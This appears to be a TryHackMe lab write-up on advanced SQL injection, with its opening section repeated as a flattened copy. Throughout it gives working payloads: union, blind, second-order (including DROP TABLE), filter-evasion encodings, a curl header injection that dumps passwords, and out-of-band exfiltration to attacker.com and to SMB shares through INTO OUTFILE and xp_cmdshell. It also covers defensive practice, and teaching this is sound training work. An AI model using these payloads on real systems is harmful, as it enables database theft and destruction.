TryHackMe: Advanced SQL Injection
In-band SQL Injection This technique is considered the most common and straightforward type of SQL injection attack. In this technique, the attacker uses the same communication channel for both the injection and the retrieval of data. There are two primary types of in-band SQL injection: Error-Based SQL Injection: The attacker manipulates the SQL query to produce error messages from the database. These error messages often contain information about the database structure, which can be used to exploit the database further. Example: SELECT * FROM users WHERE id = 1 AND 1=CONVERT(int, (SELECT @@version)). If the database version is returned in the error message, it reveals information about the database. Union-Based SQL Injection: The attacker uses the UNION SQL operator to combine the results of two or more SELECT statements into a single result, thereby retrieving data from other tables. Example: SELECT name, email FROM users WHERE id = 1 UNION ALL SELECT username, password FROM admin. Inferential (Blind) SQL Injection Inferential SQL injection does not transfer data directly through the web application, making exploiting it more challenging. Instead, the attacker sends payloads and observes the application’s behaviour and response times to infer information about the database. There are two primary types of inferential SQL injection: Boolean-Based Blind SQL Injection: The attacker sends an SQL query to the database, forcing the application to return a different result based on a true or false condition. By analysing the application’s response, the attacker can infer whether the payload was true or false. Example: SELECT * FROM users WHERE id = 1 AND 1=1 (true condition) versus SELECT * FROM users WHERE id = 1 AND 1=2 (false condition). The attacker can infer the result if the page content or behaviour changes based on the condition. Time-Based Blind SQL Injection: The attacker sends an SQL query to the database, which delays the response for a specified time if the condition is true. By measuring the response time, the attacker can infer whether the condition is true or false. For example, SELECT * FROM users WHERE id = 1; IF (1=1) WAITFOR DELAY '00:00:05'--. If the response is delayed by 5 seconds, the attacker can infer that the condition was true. Second-Order SQL Injection Second-order SQL injection, also known as stored SQL injection, exploits vulnerabilities where user-supplied input is saved and subsequently used in a different part of the application, possibly after some initial processing. This type of attack is more insidious because the malicious SQL code does not need to immediately result in a SQL syntax error or other obvious issues, making it harder to detect with standard input validation techniques. The injection occurs upon the second use of the data when it is retrieved and used in a SQL command, hence the name "Second Order". The danger of Second-Order SQL Injection lies in its ability to bypass typical front-end defences like basic input validation or sanitisation, which only occur at the point of initial data entry. Since the payload does not cause disruption during the first step, it can be overlooked until it's too late, making the attack particularly stealthy. Example Let's consider adding a book with the following details: SSN: UI00012, Book Name: Intro to PHP, Author: Tim. This information is input through a form on the add.php page, and upon submission, it is stored in the **BookStore **database as shown below: As we know, Second-Order SQL injection is notably challenging to identify. Unlike traditional SQL Injection, which exploits real-time processing vulnerabilities, it occurs when data previously stored in a database is later used in a SQL query. Detecting this vulnerability often requires understanding how data flows through the application and is reused, necessitating a deep knowledge of the backend operations. Analysis of the Code Consider the PHP code snippet used in our application for adding books: if (isset($_POST['submit'])) { $ssn = $conn->real_escape_string($_POST['ssn']); $book_name = $conn->real_escape_string($_POST['book_name']); $author = $conn->real_escape_string($_POST['author']); $sql = "INSERT INTO books (ssn, book_name, author) VALUES ('$ssn', '$book_name', '$author')"; if ($conn->query($sql) === TRUE) { echo "New book added successfully"; } else { echo "Error: " . $conn->error . ""; } } The code uses the real_escape_string() method to escape special characters in the inputs. While this method can mitigate some risks of immediate SQL Injection by escaping single quotes and other SQL meta-characters, it does not secure the application against Second Order SQLi. The key issue here is the lack of parameterised queries, which is essential for preventing SQL injection attacks. When data is inserted using the real_escape_string(

In-band SQL Injection
This technique is considered the most common and straightforward type of SQL injection attack. In this technique, the attacker uses the same communication channel for both the injection and the retrieval of data. There are two primary types of in-band SQL injection:
-
Error-Based SQL Injection: The attacker manipulates the SQL query to produce error messages from the database. These error messages often contain information about the database structure, which can be used to exploit the database further. Example:
SELECT * FROM users WHERE id = 1 AND 1=CONVERT(int, (SELECT @@version))
. If the database version is returned in the error message, it reveals information about the database. -
Union-Based SQL Injection: The attacker uses the UNION SQL operator to combine the results of two or more SELECT statements into a single result, thereby retrieving data from other tables. Example:
SELECT name, email FROM users WHERE id = 1 UNION ALL SELECT username, password FROM admin
.
Inferential (Blind) SQL Injection
Inferential SQL injection does not transfer data directly through the web application, making exploiting it more challenging. Instead, the attacker sends payloads and observes the application’s behaviour and response times to infer information about the database. There are two primary types of inferential SQL injection:
-
Boolean-Based Blind SQL Injection: The attacker sends an SQL query to the database, forcing the application to return a different result based on a true or false condition. By analysing the application’s response, the attacker can infer whether the payload was true or false. Example:
SELECT * FROM users WHERE id = 1 AND 1=1 (true condition) versus SELECT * FROM users WHERE id = 1 AND 1=2 (false condition)
. The attacker can infer the result if the page content or behaviour changes based on the condition. -
Time-Based Blind SQL Injection: The attacker sends an SQL query to the database, which delays the response for a specified time if the condition is true. By measuring the response time, the attacker can infer whether the condition is true or false. For example,
SELECT * FROM users WHERE id = 1; IF (1=1) WAITFOR DELAY '00:00:05'--
. If the response is delayed by 5 seconds, the attacker can infer that the condition was true.
Second-Order SQL Injection
Second-order SQL injection, also known as stored SQL injection, exploits vulnerabilities where user-supplied input is saved and subsequently used in a different part of the application, possibly after some initial processing. This type of attack is more insidious because the malicious SQL code does not need to immediately result in a SQL syntax error or other obvious issues, making it harder to detect with standard input validation techniques. The injection occurs upon the second use of the data when it is retrieved and used in a SQL command, hence the name "Second Order".
The danger of Second-Order SQL Injection lies in its ability to bypass typical front-end defences like basic input validation or sanitisation, which only occur at the point of initial data entry. Since the payload does not cause disruption during the first step, it can be overlooked until it's too late, making the attack particularly stealthy.
Example
Let's consider adding a book with the following details: SSN: UI00012, Book Name: Intro to PHP, Author: Tim. This information is input through a form on the add.php
page, and upon submission, it is stored in the **BookStore **database as shown below:
As we know, Second-Order SQL injection is notably challenging to identify. Unlike traditional SQL Injection, which exploits real-time processing vulnerabilities, it occurs when data previously stored in a database is later used in a SQL query. Detecting this vulnerability often requires understanding how data flows through the application and is reused, necessitating a deep knowledge of the backend operations.
Analysis of the Code
Consider the PHP code snippet used in our application for adding books:
if (isset($_POST['submit'])) {
$ssn = $conn->real_escape_string($_POST['ssn']);
$book_name = $conn->real_escape_string($_POST['book_name']);
$author = $conn->real_escape_string($_POST['author']);
$sql = "INSERT INTO books (ssn, book_name, author) VALUES ('$ssn', '$book_name', '$author')";
if ($conn->query($sql) === TRUE) {
echo "New book added successfully"
;
} else {
echo "Error: "
. $conn->error . "";
}
}
The code uses the real_escape_string()
method to escape special characters in the inputs. While this method can mitigate some risks of immediate SQL Injection by escaping single quotes and other SQL meta-characters, it does not secure the application against Second Order SQLi. The key issue here is the lack of parameterised queries, which is essential for preventing SQL injection attacks. When data is inserted using the real_escape_string()
method, it might include payload characters that don't cause immediate harm but can be activated upon subsequent retrieval and use in another SQL query. For instance, inserting a book with a name like Intro to PHP'; DROP TABLE books;--
might not affect the INSERT operation but could have serious implications if the book name is later used in another SQL context without proper handling.
Let's try adding another book with the SSN test'
.
-
real_escape_string()
Usage:
- The `real_escape_string()` method is used to escape special characters like single quotes (`'`) in SQL queries.
- For example, if the input is `O'Reilly`, it escapes it to `O\'Reilly`, preventing immediate SQL injection during insertion.
- Why It's Not Enough:
- Escaping input prevents immediate SQL Injection attacks but does not secure the data for future use.
- A malicious payload, such as `Intro to PHP'; DROP TABLE books;--`, may still be stored in the database. While the payload won't execute during the **INSERT** operation (thanks to escaping), it remains stored in the database.
Now, let's review the update.php
code. The PHP script allows users to update book details within the BookStore database. Through the query structure, we will analyse a typical scenario where a penetration tester might look for SQL injection vulnerabilities, specifically focusing on how user inputs are handled and utilised in SQL queries.
if ( isset($_POST['update'])) {
$unique_id = $_POST['update'];
$ssn = $_POST['ssn_' . $unique_id];
$new_book_name = $_POST['new_book_name_' . $unique_id];
$new_author = $_POST['new_author_' . $unique_id];
$update_sql = "UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '$ssn'; INSERT INTO logs (page) VALUES ('update.php');";
..
...
The script begins by checking if the request method is POST and if the update button was pressed, indicating that a user intends to update a book's details. Following this, the script retrieves user inputs directly from the POST data:
$unique_id = $_POST['update'];
$ssn = $_POST['ssn_' . $unique_id];
$new_book_name = $_POST['new_book_name_' . $unique_id];
$new_author = $_POST['new_author_' . $unique_id];
These variables (ssn, new_book_name, new_author
) are then used to construct an SQL query for updating the specified book's details in the database:
$update_sql = "UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '$ssn'; INSERT INTO logs (page) VALUES ('update.php');";
The script uses multi_query
to execute multiple queries. It also inserts logs into the logs table for analytical purposes.
Preparing the Payload
We know that we can add or modify the book details based on their ssn
. The normal query for updating a book might look like this:
UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '123123';
However, the SQL command could be manipulated if an attacker inserts a specially crafted ssn
value. For example, if the attacker uses the ssn
value:
12345'; UPDATE books SET book_name = 'Hacked'; --
When this value is used in the update query, it effectively ends the initial update command after 12345
and starts a new command. This would change the book_name
of all entries in the books table to Hacked.
Exploitation
-
Initial Payload Insertion: A new book is added with the payload
12345'; UPDATE books SET book_name = 'Hacked'; --
is inserted as thessn
. The semicolon (;
) will be used to terminate the current SQL statement.
-
Malicious SQL Execution: After that, when the admin or any other user visits the URL
http://MACHINE_IP/second/update.php
and updates the book, executing the payload.UPDATE books SET book_name = 'Testing', author = 'Hacker' WHERE ssn = '12345'; Update books set book_name ="hacked"; --'; INSERT INTO logs (page) VALUES ('update.php');
Commenting Out the Rest: The double dash (
--
) is an SQL comment symbol. Anything following--
will be ignored by the SQL server, effectively neutralising any remaining parts of the original SQL statement that could cause errors or reveal the attack. Once the above query is executed, it will change the name of all the books to hacked, as shown below:
Filter Evasion Techniques
Character Encoding
Character encoding involves converting special characters in the SQL injection payload into encoded forms that may bypass input filters.
-
URL Encoding: URL encoding is a common method where characters are represented using a percent (%) sign followed by their ASCII value in hexadecimal. For example, the payload
' OR 1=1--
can be encoded as%27%20OR%201%3D1--
. This encoding can help the input pass through web application filters and be decoded by the database, which might not recognise it as malicious during initial processing. -
Hexadecimal Encoding: Hexadecimal encoding is another effective technique for constructing SQL queries using hexadecimal values. For instance, the query
SELECT * FROM users WHERE name = 'admin'
can be encoded asSELECT * FROM users WHERE name = 0x61646d696e
. By representing characters as hexadecimal numbers, the attacker can bypass filters that do not decode these values before processing the input. -
Unicode Encoding
: Unicode encoding represents characters using Unicode escape sequences. For example, the stringadmin
can be encoded as\u0061\u0064\u006d\u0069\u006e
. This method can bypass filters that only check for specific ASCII characters, as the database will correctly process the encoded input.
Example
In this example, we explore how developers can implement basic filtering to prevent SQL injection attacks by removing specific keywords and characters from user input. However, we will also see how attackers can bypass these defences using character encoding techniques like URL encoding.
Note: In the upcoming exercises, we will use databases that are different from the last ones. You can access the page at http://10.10.180.244/encoding/
.
Here's the PHP code (search_books.php) that handles the search functionality:
$book_name = $_GET['book_name'] ?? '';
$special_chars = array("OR", "or", "AND", "and" , "UNION", "SELECT");
$book_name = str_replace($special_chars, '', $book_name);
$sql = "SELECT * FROM books WHERE book_name = '$book_name'";
echo "Generated SQL Query: $sql";
$result = $conn->query($sql) or die("Error: " . $conn->error . " (Error Code: " . $conn->errno . ")");
if ($result->num_rows > 0) {
while ($row = $result->fetch_assoc()) {
...
..
Here's the Javascript code in the index.html page that provides the user interface for searching books:
function searchBooks() {
const bookName = document.getElementById('book_name').value;
const xhr = new XMLHttpRequest();
xhr.open('GET', 'search_books.php?book_name=' + encodeURIComponent(bookName), true);
xhr.onload = function() {
if (this.status === 200) {
document.getElementById('results').innerHTML = this.responseText;
In the above example, the developer has implemented a basic defence mechanism to prevent SQL injection attacks by removing specific SQL keywords, such as OR
, AND
, UNION
, and SELECT
. The filtering uses the str_replace
function, which strips these keywords from the user input before they are included in the SQL query. This filtering approach aims to make it harder for attackers to inject malicious SQL commands, as these keywords are essential for many SQL injection payloads.
Preparing the Payload
Let's go through the process of preparing an SQL injection payload step-by-step, showing how URL encoding can bypass basic defences. First, let’s see what happens with a normal input that contains special characters or SQL keywords. When we search for a book named Intro to PHP
, we get the successful result as shown below:
But what if we try to break the query by adding special characters like '
, ;
, etc? We will get the following output:
The SQL query is not executing correctly, which probably means there is a chance of SQL Injection. Let's try to inject the payload "Intro to PHP' OR 1=1
". We will get the following output:
So, what is happening here? When this input is passed to the PHP script, the str_replace
function will strip out the OR keyword and the single quote, resulting in a sanitised input that will not execute the intended SQL injection. This input is ineffective because the filtering removes the critical components needed for the SQL injection to succeed.
To bypass the filtering, we need to encode the input using URL encoding, which represents special characters and keywords in a way that the filter does not recognise and remove. Here is the example payload 1%27%20||%201=1%20--+
.
-
%27
is the URL encoding for the single quote ('). -
%20
is the URL encoding for a space ( ). -
||
represents the SQL OR operator. -
%3D
is the URL encoding for the equals sign (=). -
%2D%2D
is the URL encoding for --, which starts a comment in SQL.
In the above payload, 1'
closes the current string or value in the SQL query. For example, if the query is looking for a book name that matches 1, adding '
closes the string, making the rest of the input part of the SQL statement. || 1=1
part uses the SQL OR
operator to add a condition that is always true. This condition ensures that the query returns true for all records, bypassing the original condition that was supposed to restrict the results. Similarly, --
starts a comment in SQL, causing the database to ignore the rest of the query. This is useful to terminate any remaining part of the query that might cause syntax errors or unwanted conditions. To ensure proper spacing, +
add a space after the comment, ensuring that the comment is properly terminated and there are no syntax issues.
From the console, we can see that clicking the search button makes an AJAX call to search_book.php
.
Exploitation
Let's use the payload directly on the PHP page to avoid unnecessary tweaking/validation from the client. Let's visit the URL http://10.10.180.244/encoding/search_books.php?book_name=Intro%20to%20PHP%27%20OR%201=1
with the standard payload Intro to PHP' OR 1=1
, and you will see an error.
Now, URL encode the payload Intro to PHP' || 1=1 --+
using Cyber Chef and try to access the URL with an updated payload. We will get the following output dumping the complete information:
The payload works because URL encoding represents the special characters and SQL keywords in a way that bypasses the filtering mechanism.
No-Quote SQL Injection
No-Quote SQL injection techniques are used when the application filters single or double quotes or escapes.
-
Using Numerical Values: One approach is to use numerical values or other data types that do not require quotes. For example, instead of injecting
' OR '1'='1
, an attacker can useOR 1=1
in a context where quotes are not necessary. This technique can bypass filters that specifically look for an escape or strip out quotes, allowing the injection to proceed. -
Using SQL Comments: Another method involves using SQL comments to terminate the rest of the query. For instance, the input
admin'--
can be transformed intoadmin--
, where the--
signifies the start of a comment in SQL, effectively ignoring the remainder of the SQL statement. This can help bypass filters and prevent syntax errors. -
Using CONCAT() Function: Attackers can use SQL functions like
CONCAT()
to construct strings without quotes. For example,CONCAT(0x61, 0x64, 0x6d, 0x69, 0x6e)
constructs the string admin. TheCONCAT()
function and similar methods allow attackers to build strings without directly using quotes, making it harder for filters to detect and block the payload.
No Spaces Allowed
When spaces are not allowed or are filtered out, various techniques can be used to bypass this restriction.
-
Comments to Replace Spaces: One common method is to use SQL comments (
/**/
) to replace spaces. For example, instead ofSELECT * FROM users WHERE name = 'admin'
, an attacker can useSELECT/**//*FROM/**/users/**/WHERE/**/name/**/='admin'
. SQL comments can replace spaces in the query, allowing the payload to bypass filters that remove or block spaces. -
Tab or Newline Characters: Another approach is using tab (
\t
) or newline (\n
) characters as substitutes for spaces. Some filters might allow these characters, enabling the attacker to construct a query likeSELECT\t*\tFROM\tusers\tWHERE\tname\t=\t'admin'
. This technique can bypass filters that specifically look for spaces. -
Alternate Characters: One effective method is using alternative URL-encoded characters representing different types of whitespace, such as
%09
(horizontal tab),%0A
(line feed),%0C
(form feed),%0D
(carriage return), and%A0
(non-breaking space). These characters can replace spaces in the payload.
Practical Example
In this scenario, we have an endpoint, http://10.10.180.244/space/search_users.php?username=?
that returns user details based on the provided username. The developer has implemented filters to block common SQL injection keywords such as OR, AND, and spaces (%20) to protect against SQL injection attacks.
Here is the PHP filtering added by the developer.
$special_chars = array(" ", "AND", "and" ,"or", "OR" , "UNION", "SELECT");$username = str_replace($special_chars, '', $username);$sql = "SELECT * FROM user WHERE username = '$username'";
If we use our standard payload 1%27%20||%201=1%20--+
on the endpoint, we can see that even through URL encoding, it is not working.
The SQL query shows that the spaces are being omitted by code. To bypass these protections, we can use URL-encoded characters that represent different types of whitespace or line breaks, such as %09
(horizontal tab), %0A
(line feed). These characters can replace spaces and still be interpreted correctly by the SQL parser.
The original payload 1' OR 1=1 --
can be modified to use newline characters instead of spaces, resulting in the payload 1'%0A||%0A1=1%0A--%27+
. This payload constructs the same logical condition as 1' OR 1=1 --
but uses newline characters to bypass the space filter.
The SQL parser interprets the newline characters as spaces, transforming the payload into 1' OR 1=1 --
. Therefore, the query will be interpreted from SELECT * FROM users WHERE username = '$username'
to SELECT * FROM users WHERE username = '1' OR 1=1 --
.
Now, if we access the endpoint through an updated payload, we can view all the details.
Summary
This table highlights various techniques that can be employed to try and bypass filters and WAFs:
Scenario | Description | Example |
---|---|---|
Keywords like SELECT are banned | SQL keywords can often be bypassed by changing their case or adding inline comments to break them up | SElEcT * FrOm users or SE/**/LECT * FROM/**/users |
Spaces are banned | Using alternative whitespace characters or comments to replace spaces can help bypass filters. | SELECT%0A*%0AFROM%0Ausers or SELECT/**/*/**/FROM/**/users |
Logical operators like AND, OR are banned | Using alternative logical operators or concatenation to bypass keyword filters. | username = 'admin' && password = 'password' or username = 'admin'/**/ |
Common keywords like UNION, SELECT are banned | Using equivalent representations such as hexadecimal or Unicode encoding to bypass filters. | SElEcT * FROM users WHERE username = CHAR(0x61,0x64,0x6D,0x69,0x6E) |
Specific keywords like OR, AND, SELECT, UNION are banned | Using obfuscation techniques to disguise SQL keywords by combining characters with string functions or comments. | SElECT * FROM users WHERE username = CONCAT('a','d','m','i','n') or SElEcT/**/username/**/FROM/**/users |
Out-of-band SQL Injection
Out-of-band techniques leverage features like **HTTP **requests, **DNS **queries, **SMB **protocol, or other network protocols that the database server might have access to, enabling attackers to circumvent firewalls, intrusion detection systems, and other security measures.
One of the key advantages of Out-of-band SQL injection is its stealth and reliability. By using different communication channels, attackers can minimise the risk of detection and maintain a persistent connection with the compromised system. For instance, an attacker might inject a SQL payload that triggers the database server to make a DNS request to a malicious domain controlled by the attacker. The response can then be used to extract sensitive data without alerting security mechanisms that monitor direct database interactions. This method allows attackers to exploit vulnerabilities even in complex network environments where direct connectivity between the attacker and the target is limited or scrutinised.
Why Use OOB
Out-of-band (OOB) techniques enable attackers to bypass security measures that block or sanitize direct SQL injection responses. These measures include stored procedures, output encoding, application-level constraints, and monitoring tools like Intrusion Detection Systems (IDS) and Web Application Firewalls (WAFs). OOB methods, such as using DNS or HTTP requests, exfiltrate data to external servers controlled by attackers, avoiding detection. They are especially effective in restricted network environments, where direct attacker-to-database connectivity is limited due to firewalls or segmented networks.
Techniques in Different Databases
There are multiple commands within a database that may allow exfiltration, but below is a list of the most commonly used in various database systems:
MySQL and MariaDB
In MySQL or MariaDB, Out-of-band SQL injection can be achieved using SELECT ... INTO OUTFILE or load_file command. This command allows an attacker to write the results of a query to a file on the server's filesystem. For example:
SELECT sensitive_data FROM users INTO OUTFILE '/tmp/out.txt';
An attacker could then access this file via an SMB share or HTTP server running on the database server, thereby exfiltrating the data through an alternate channel.
Microsoft SQL Server (MSSQL)
In MSSQL, Out-of-band SQL injection can be performed using features like xp_cmdshell, which allows the execution of shell commands directly from SQL queries. This can be leveraged to write data to a file accessible via a network share:
EXEC xp_cmdshell 'bcp "SELECT sensitive_data FROM users" queryout "\\10.10.58.187\logs\out.txt" -c -T';
Alternatively, OPENROWSET
or BULK INSERT
can be used to interact with external data sources, facilitating data exfiltration through OOB channels.
Oracle
In Oracle databases, Out-of-band SQL injection can be executed using the UTL_HTTP or UTL_FILE packages. For instance, the UTL_HTTP package can be used to send HTTP requests with sensitive data:
DECLARE
req UTL_HTTP.REQ;
resp UTL_HTTP.RESP;
BEGIN
req := UTL_HTTP.BEGIN_REQUEST('http://attacker.com/exfiltrate?sensitive_data=' || sensitive_data);
UTL_HTTP.GET_RESPONSE(req);
END;
Examples of Out-of-band Techniques
Out-of-band SQL injection techniques in MySQL and MariaDB can utilise various network protocols to exfiltrate data. The primary methods include DNS exfiltration, HTTP requests, and SMB shares. Each of these techniques can be applied depending on the capabilities of the MySQL/MariaDB environment and the network setup.
HTTP Requests
Attackers exploit database functions enabling outbound HTTP requests to exfiltrate data to a controlled server. While MySQL and MariaDB lack native HTTP request support, this can be achieved using User Defined Functions (UDFs) or external scripts. Example: SELECT http_post('http://attacker.com/exfiltrate', sensitive_data)
. This method requires advanced setup and is applicable on Windows and Linux systems with proper configuration.
DNS Exfiltration
Data exfiltration via DNS involves encoding sensitive information into DNS requests sent to an attacker-controlled DNS server. While MySQL doesn’t natively support DNS lookups, attackers may use custom UDFs or system-level scripts. This technique circumvents HTTP monitoring by leveraging DNS protocols to exfiltrate data stealthily.
SMB Exfiltration
SMB exfiltration writes query results to an external SMB share, often using UNC paths. For example: SELECT sensitive_data INTO OUTFILE '\\\\10.10.162.175\\logs\\out.txt';
. This approach works natively in Windows and can be implemented on Linux using tools like smbclient
or by mounting SMB shares. It is effective in environments supporting SMB/UNC paths.
Practical Example
In this practical scenario, we will demonstrate how an attacker can exfiltrate data from a vulnerable web application using an Out-of-band SQL injection technique. The server-side code contains an SQL injection vulnerability that allows an attacker to craft a payload that writes the results of a query to an external SMB share. This is useful when direct responses from the database are restricted or monitored.
Scenario Explanation
In this scenario, we would enable a network share on the AttackBox at ATTACKBOX_IP\logs
. This share is accessible over the network and allows files from other machines to be written to it. You may assume a scenario when you get a vulnerable system and want to pivot data to another network share system. The attacker will leverage this share to exfiltrate data Out-of-band. To have a network share, we would start the AttackBox and execute the following command in the terminal:
- Navigate to
impacket
directory usingcd /opt/impacket/examples
- Enter the command
python3.9 smbserver.py -smb2support -comment "My Logs Server" -debug logs /tmp
to start the SMB server sharing the/tmp
directory. - You can access the contents of the network share by entering the command
smbclient //ATTACKER_IP/logs -U guest -N
. This would allow you to connect to the network share, and then you can issue the commandls
to list all the commands.
We have the same web application with a search feature that queries visitors who visit the library. The server-side code for this feature is vulnerable to SQL injection, and you can access it at http://10.10.180.244/oob/search_visitor.php?visitor_name=Tim
.
The server code looks like this:
$visitor_name = $_GET['visitor_name'] ?? '';
$sql = "SELECT * FROM visitor WHERE name = '$visitor_name'";
echo "Generated SQL Query: $sql";
// Execute multi-query
if ($conn->multi_query($sql)) {
do {
// Store first result set
if ($result = $conn->store_result()) {
if ($result->num_rows > 0) {
while ($row = $result->fetch_assoc()) {
Important Consideration
It is important to note that the MySQL system variable secure_file_priv
may be set. When set, this variable contains a directory pathname, and MySQL will only allow files to be written to this specified directory. This security measure helps mitigate the risk of unauthorised file operations.
- When secure_file_priv is Set: MySQL will restrict file operations such as INTO OUTFILE to the specified directory. This means attackers can only write files to this directory, limiting their ability to exfiltrate data to arbitrary locations.
-
When secure_file_priv is Empty: If the
secure_file_priv
variable is empty, MySQL does not impose any directory restrictions, allowing files to be written to any directory accessible by the MySQL server process. This configuration poses a higher risk as it provides more flexibility for attackers.
Attackers typically do not have direct access to check the value of the secure_file_priv variable. As a result, they must rely on hit-and-trial methods to determine if and where they can write files, testing various paths to see if file operations succeed.
Preparing the Payload
To exploit this vulnerability, the attacker crafts a payload to inject into the visitor_name
parameter. The payload will be designed to execute an additional SQL query that writes the database version information to an external SMB share.
1'; SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt'; --
Let's dissect the above payload:
-
1'
: Closes the original string within the SQL query. -
;
: Ends the first SQL statement. -
SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt';
: Executes a new SQL statement that retrieves the database version and writes it to an SMB share at \ATTACKBOX_IP\logs\out.txt. -
--
: Comments the rest of the original SQL query to prevent syntax errors.
To utilise the payload, the attacker would visit the URL that creates a file in an external SMB share.
To access the file, use the ls /tmp
to see the file received in the /tmp
directory as shown below:
ls /tmp out.txt
HTTP Header Injection
HTTP headers can carry user input, which might be used in SQL queries on the server side. If these inputs are not sanitised, it can lead to SQL injection. The technique involves manipulating HTTP headers (like User-Agent, Referer, or X-Forwarded-For) to inject SQL commands. The server might log these headers or use them in SQL queries. For example, a malicious User-Agent header would look like
User-Agent: ' OR 1=1; --
. If the server includes the User-Agent header in an SQL query without sanitising it, it can result in SQL injection.
In this example, a web application logs the User-Agent header from HTTP requests into a table named logs in the database. The application provides an endpoint at http://10.10.180.244/httpagent/
that displays all the logged entries from the logs table. When users visit a webpage, their browser sends a User-Agent header, which identifies the browser and operating system. This header is typically used for logging purposes or to tailor content for specific browsers. In our application, this User-Agent header is inserted into the logs table and can then be viewed through the provided endpoint.
Given the endpoint, an attacker might attempt to inject SQL code into the User-Agent header to exploit SQL injection vulnerabilities. For instance, by setting the User-Agent header to a malicious value such as User-Agent: ' UNION SELECT username, password FROM user; --
, an attacker attempts to inject SQL code that combines the results from the logs table with sensitive data from the user table.
Here is the server-side code that inserts the logs.
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$insert_sql = "INSERT INTO logs (user_Agent) VALUES ('$userAgent')";
if ($conn->query($insert_sql) === TRUE) {
echo "New logs inserted successfully";
} else {
echo "
Error: " . $conn->error . " (Error Code: " . $conn->errno . ")";
}
$sql = "SELECT * FROM logs WHERE user_Agent = '$userAgent'";
..
...
The User-Agent value is inserted into the logs table using an INSERT SQL statement. If the insertion is successful, a success message is displayed. An error message with details is shown if there is an error during insertion.
Preparing the Payload
We will prepare and inject an SQL payload into the User-Agent header to demonstrate how SQL injection can be exploited through HTTP headers. Our target payload will be ' UNION SELECT username, password FROM user; #. This payload is designed to:
-
Close the Existing String Literal: The initial single quote (
'
) is used to close the existing string literal in the SQL query. -
Inject a UNION SELECT Statement: The
UNION SELECT username, password FROM user;
part of the payload is used to retrieve the username and password columns from the user table. -
Comment Out the Rest of the Query: The
#
character is used to comment out the remainder of the SQL query, ensuring that any subsequent SQL code is ignored.
We need to send this payload as part of the User-Agent header in our HTTP request to inject this payload, which could be done using tools like Burp Suite or cURL. We will use the curl command-line tool to send an HTTP request with a custom User-Agent header. Open a Terminal and access your command line interface. Use the following command to send the request with the custom User-Agent
header:
Example Terminal
user@tryhackme$ curl -H "User-Agent: ' UNION SELECT username, password FROM user; # " http://10.10.180.244/httpagent/
SQL Injection
rel="stylesheet">
HTTP Logs
Generated SQL Query: SELECT * FROM logs WHERE user_Agent = '' UNION SELECT username, password FROM user; #'
id: bob
user_Agent: bob@123
id: attacker
user_Agent: tesla
The server's response will be displayed in the terminal. If the SQL injection is successful, you will see the extracted data (usernames and passwords) in the response.
Exploiting Stored Procedures
Stored procedures are routines stored in the database that can perform various operations, such as inserting, updating, or querying data. While stored procedures can help improve performance and ensure consistency, they can also be vulnerable to SQL injection if not properly handled.
Stored procedures are precompiled SQL statements that can be executed as a single unit. They are stored in the database and can be called by applications to perform specific tasks. Stored procedures can accept parameters, which can make them flexible and powerful. However, if these parameters are not properly sanitised, they can introduce SQL injection vulnerabilities.
Consider a stored procedure designed to retrieve user data based on a username:
CREATE PROCEDURE sp_getUserData
@username NVARCHAR(50)
AS
BEGIN
DECLARE @sql NVARCHAR(4000)
SET @sql = 'SELECT * FROM users WHERE username = ''' + @username + ''''
EXEC(@sql)
END
In this example, the stored procedure concatenates the @username parameter into a dynamic SQL query. This approach is vulnerable to SQL injection because the input is not sanitised.
XML and JSON Injection
Applications that parse XML or JSON data and use the parsed data in SQL queries can be vulnerable to injection if they do not properly sanitise the inputs. XML and JSON injection involves injecting malicious data into XML or JSON structures that are then used in SQL queries. This can occur if the application directly uses parsed values in SQL statements.
{
"username": "admin' OR '1'='1--",
"password": "password"
}
If the application uses these values directly in a SQL query like SELECT * FROM users WHERE username = 'admin' OR '1'='1'-- AND password = 'password'
, it could result in an injection.
SQL Vulnerability Identification
Identifying SQL Injection vulnerabilities involves several challenges, similar to identifying any other server-side vulnerability. Here are the key issues:
- Dynamic Nature of SQL Queries: SQL queries can be dynamically constructed, making it difficult to detect injection points. Complex queries with multiple layers of logic can obscure potential vulnerabilities.
- Variety of Injection Points: SQL Injection can occur in different parts of an application, including input fields, HTTP headers, and URL parameters. Identifying all potential injection points requires thorough testing and a comprehensive understanding of the application.
- Use of Security Measures: Applications may use prepared statements, parameterized queries, and ORM frameworks, which can prevent SQL Injection. Automated tools must be able to differentiate between safe and unsafe query constructions.
- Context-Specific Detection: The context in which user inputs are used in SQL queries can vary widely. Tools must adapt to different contexts to accurately identify vulnerabilities.
Few Important Tools
Several renowned tools and projects have been developed within the security community to aid in the automation of finding SQL Injection vulnerabilities. Here are a few well-known tools and GitHub repositories that provide functionalities for detecting and exploiting SQL Injection:
- SQLMap: SQLMap is an open-source tool that automates the process of detecting and exploiting SQL Injection vulnerabilities in web applications. It supports a wide range of databases and provides extensive options for both identification and exploitation. You can learn more about the tool here.
- SQLNinja: SQLNinja is a tool specifically designed to exploit SQL Injection vulnerabilities in web applications that use Microsoft SQL Server as the backend database. It automates various stages of exploitation, including database fingerprinting and data extraction.
- JSQL Injection: A Java library focused on detecting SQL injection vulnerabilities within Java applications. It supports various types of SQL Injection attacks and provides a range of options for extracting data and taking control of the database.
- BBQSQL: BBQSQL is a Blind SQL Injection exploitation framework designed to be simple and highly effective for automated exploitation of Blind SQL Injection vulnerabilities.
Best Practices
Secure Coders
- Parameterized Queries and Prepared Statements
- Use parameterized queries to separate query structure from data.
- Example in PHP with PDO: `$stmt->prepare("SELECT * FROM users WHERE username = :username"); $stmt->execute(['username' => $username]);`.
- Input Validation and Sanitization
- Validate data types, lengths, and formats.
- Use functions like `htmlspecialchars()` and `filter_var()` in PHP.
- Least Privilege Principle
- Grant minimal database permissions to application accounts.
- Avoid administrative privileges for routine operations.
- Stored Procedures
- Encapsulate SQL logic in stored procedures to validate inputs.
- Ensure stored procedures handle sanitization internally.
- Regular Security Audits and Code Reviews
- Conduct regular audits and use automated tools to identify vulnerabilities.
- Perform manual reviews to address subtle security issues.
Pentesters
- Exploiting Database-Specific Features
- Leverage unique DBMS features, such as `xp_cmdshell` in MSSQL, for exploitation.
- Leveraging Error Messages
- Use error-based SQL injection to extract database schema details.
- Example: `1' AND 1=CONVERT(int, (SELECT @@version)) --`.
- Bypassing WAF and Filters
